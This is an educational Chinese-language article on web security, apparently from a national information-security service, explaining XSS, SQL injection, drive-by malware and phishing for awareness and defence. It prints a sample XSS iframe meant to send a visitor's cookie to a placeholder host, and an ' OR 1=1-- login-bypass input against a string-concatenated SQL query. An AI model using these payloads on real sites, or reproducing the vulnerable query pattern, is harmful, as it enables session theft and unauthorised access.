自從跨網站腳本攻擊和注入攻擊越來越盛行之後，即便是單純地瀏覽網頁都可能會被竊取機密資料。

你認爲網站安全嗎？

◎ 陳培德

壹、緒論

隨著網路的普及，網站系統幾乎已成爲現代人生活的一部分，網路應用也從以往的靜態網頁型式，逐漸發展成爲與使用者互動的動態網頁型態，亦即程式設計師利用資料庫的方式儲存著大量的資料，動態挑選出要呈現在網頁中的內容。然而，根據 Zone-H、資安之眼等資安網站的統計指出，目前每天有 1,200 個以上的網頁受到攻擊或遭受置換(實際上仍有更多的網站受到攻擊並未被發現)，顯示現行的網站系統中仍隱藏許多的危險性。根據網站安全研究團隊 OWASP(The Open Web Application Security Project)調查，在 2007 年十大網站安全性漏洞中，跨網站腳本攻擊(Cross Site Scripting, XSS)以及注入攻擊(Injection Flaw)分居 1、2 名 (其餘安全漏洞排名如表所示)。

除此之外，美國國防部的 BSI(Build Security In)計畫與 MITRE 研究機構的 CVE(Common Vulnerabilities and Exposures)資安脆弱性列表同樣也顯示跨網站腳本攻擊與注入攻擊已連續兩年列爲全球頭號嚴重的資安弱點。因此，在探討網站安全時，應優先考慮此兩大最受到矚目的攻擊手法。以下便將此兩種手法以及駭客如何利用這兩種手法進行網頁掛馬及釣魚，進行簡單說明，使讀者了解其攻擊運用以進行初步防護，加強網站系統的安全性。

2007 年 OWASP 十大 Web 資安漏洞			
A1	跨網站腳本攻擊	A6	資訊揭露的不適當錯誤處理
A2	注入攻擊	A7	遭破壞的鑑別與連線管理
A3	惡意檔案執行	A8	不安全的密碼儲存器
A4	不安全的物件參考	A9	不安全的通訊
A5	跨網站的僞造要求	A10	疏於限制 URL 存取

資料來源：OWASP

貳、跨網站腳本攻擊

跨網站腳本攻擊(Cross Site Script)爲了避免和現有的 CSS(Cascading Style Sheets)搞混，因此簡稱爲 XSS 攻擊。XSS 攻擊是利用經常出現在 Web 應用中的電腦安全性漏洞，它允許駭客將程式碼植入提供給其他使用者瀏覽的頁面中。舉例來說，駭客將惡意程式碼搭配特殊的 html 語法張貼在文章當中，讓使用者無法察覺他們正在瀏覽的網頁中帶有惡意的程式碼，如下所示：

<iframe src=”http://www.xxx.com.tw/index.php?value=”+document.cookie height=”0” weight=”0”></iframe>

當使用者瀏覽駭客所張貼在文章內的惡意程式碼時，便會竊取使用者的 Cookie，並傳送到駭客所指定的 URL(Uniform Resource Locator)。駭客便可以利用使用者的 Cookie，讓網站誤以爲駭客是其他使用者；若該名使用者具有管理者權限的話，那麼駭客便可以針對網站的內容進行修改。

在國內外有許多的 XSS 攻擊案例，國外以 MySpace 的案例最爲人知。程式設計師 Samy 在自己的 MySpace 個人簡介中插入了惡意的程式碼，只要瀏覽過 Samy 個人簡介的使用者都會自動加入 Samy 爲好友，同時也會在瀏覽者的個人簡介中插入同樣的程式碼。如此一來，一傳十，十傳百，Samy 透過這個方法在 24 小時之內感染了超過 100 萬個 MySpace 會員。而 XSS 的攻擊案例在國內亦時有所聞，例如民國 95 年國內知名部落格網站－無名小站，遭到駭客利用 XSS 漏洞進行攻擊，導致該部落格會員之個人資料外洩情事。

參、注入攻擊

注入攻擊包括了資料隱碼(SQL Injection)以及 Command Injection。目前大部分的網站都是使用資料庫儲存資料，透過 SQL(Structured Query Language)查詢語法挑選出我們所需要的資料並呈現在網頁中。當程式設計師撰寫網頁進行資料庫查詢時，會根據使用者需求填入不同的關鍵字以取得相對應的資料。

不過，SQL 查詢語法卻變成了駭客的「填空遊戲」，駭客根據程式設計師的觀點去思考，猜測 SQL 查詢語法是如何設計，並不斷填上不同的關鍵字去測試 SQL 的查詢語法，便可將其他機密資料(如使用者帳號及密碼等)顯示在網頁中，或者是繞過網頁的權限檢查功能而登入網站。舉例來說，程式設計師撰寫一個身分驗證的網頁，使用者必須輸入正確的帳號密碼才能通過驗證；程式設計師所設計 SQL 查詢語法可能如下所示：

SELECT COUNT(*) FROM user WHERE username = ‘ + name + ‘ AND password = ‘ + pass + ‘

若資料庫所回傳的筆數大於 0 時，代表使用者所輸入的帳號密碼是正確的；反之，使用者所輸入的資料是錯誤的。但是駭客輸入一些變造過的資料讓整句 SQL 查詢語法變成：

SELECT COUNT(*) FROM user WHERE username = ‘’ OR 1=1--‘ AND password = ‘1234 ‘

如此一來，條件式的後面段被註解符號所取代(“- -“在 SQL Server 下表示註解用)，再加上 OR 後面的判斷式爲真，所以會回傳 user 資料表的總筆數；由於回傳的總筆數大於 0，因此駭客便可以通過身分驗證。除了通過身分驗證之外，駭客還可以利用類似的手法取得其他機密資料、修改資料庫內容，甚至透過資料庫去操控該台主機，作爲駭客攻擊他人的跳板。

肆、網頁掛馬與網路釣魚

上述的兩種網站安全性弱點都相當普遍地存在，那麼駭客又是利用 XSS 攻擊以及注入攻擊手法進行什麼樣的攻擊呢？而網頁掛馬就是近幾年駭客利用 XSS 攻擊或是注入攻擊所產生新的攻擊型態。以往駭客都是透過電子郵件寄發木馬程式或者是放在網路上讓不知情的使用者下載執行，但由於目前民眾對於資訊安全都有相當程度的了解，駭客要用舊的方法植入木馬到使用者電腦的機會也越來越小。因此，駭客便想到利用 XSS 攻擊或注入攻擊的方式，將惡意程式的連結用特殊的 html 語法表示，使用者在瀏覽網頁時並不會發現，但是瀏覽器卻悄悄地下載並執行惡意程式。而這些惡意程式會自動跟駭客進行連線，駭客便可以在遠端操控這些電腦。若被掛馬的網頁是個很冷門的網站，受到波及的使用者可能只是少數；但是 Yahoo 或 Google 等熱門入口網站一旦遭到 XSS 攻擊或是注入攻擊，頁面中被植入惡意程式碼，勢必會造成相當大量的使用者遭到波及。

除了網頁掛馬之外，網路釣魚也是這幾年相關熱門的資訊安全議題。首先，駭客利用軟體備份目標網站的網頁及圖片，並申請一個類似的 Domain Name 後，將該網站的內容建置在駭客所申請的 Domain Name。駭客會在所建立的假網站中進行些許的修改，其中可能會竊取使用者的資料或者是植入惡意程式在瀏覽網站的使用者電腦中。如此一來，駭客利用 XSS 或注入攻擊的方式插入導向假網站的語法，當使用者一旦瀏覽被駭客所插入程式碼的頁面後，便會直接導向到駭客所建立的網站；由於網站內容極爲類似，使用者本身並不自覺已被導向至另一個網站了。若使用者仍持續在假網站上進行瀏覽與操作的話，便有可能會被竊取機密資料或者被植入惡意程式。

伍、結語

以往一般大眾對於資訊安全的認知僅止於上網不要任意下載來源不明的軟體或者是不要隨意開啓電子郵件的附件等，雖然這些方法都是良好的習慣，但是駭客所使用的手法也在求新求變。以往使用者可能認爲單純瀏覽網頁是相當安全的，但自從 XSS 攻擊和注入攻擊越來越盛行之後，即便是單純地瀏覽網頁都可能會被竊取機密資料或者是被植入木馬。因此，除了使用者要安裝防毒軟體並定期更新病毒碼，以防堵已知的惡意程式之外；程式設計師在網站上線之前，也可以參考 OWASP 所提出的網路十大安全性弱點，在網路上尋找相關的工具進行基本檢測，可以幫助程式設計師發現比較明顯且嚴重的漏洞。除了利用自動化工具幫助尋找漏洞之外，也可以請對檢測網站有經驗的專家以滲透測試的方法進行更深入的安全性檢測，以人工輔以自動化工具的方式彌補自動化工具誤判或漏判的情形發生。

（作者爲國家資通安全會報技術服務中心經理）